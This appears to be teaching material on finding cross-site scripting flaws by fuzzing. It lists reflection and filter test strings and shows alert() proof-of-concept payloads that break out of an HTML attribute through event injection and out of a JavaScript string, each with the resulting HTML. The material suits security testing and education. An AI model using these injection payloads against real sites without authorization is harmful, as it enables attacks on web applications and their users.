Collections of XSS payloads ready for fuzzing already exist:
XSS Discovery
Fuzzing
• Reflection tests: Simple but unique strings to determine if input is
reflected back: 42424242
• Filter tests: Determine what characters get filtered or encoded:
<>()='"/;[]{}$--#&//
• PoC payloads: These payloads attempt to prove the XSS flaw exists:
<script>alert(42);</script>
In Tag Attributes
Input: 424242
Initial HTML:
<input type="text" name="xss" value="424242">
Context Considerations:
• Prefix option to close value assignment and possibly close the tag ">
• Suffix depends on whether additional tags injected
Example Payload – Event Injection:
424242" onload="alert(42)
Resultant HTML:
<input type="text" name="xss" value="424242" onload="alert(42)">
In Existing JS Code
Input: 424242
Initial HTML:
<script>var HitchHiker="424242"; … </script>
Context Considerations:
• Suffix options include JS line terminator, ; ,and single line comment delimiter, //
• Often will be within a JS function, so closing parenthesis, ), might also be needed
Example Payload:
42";alert(42);//
Resultant HTML:
<script>var HitchHiker="42";alert(42);//"; … </script>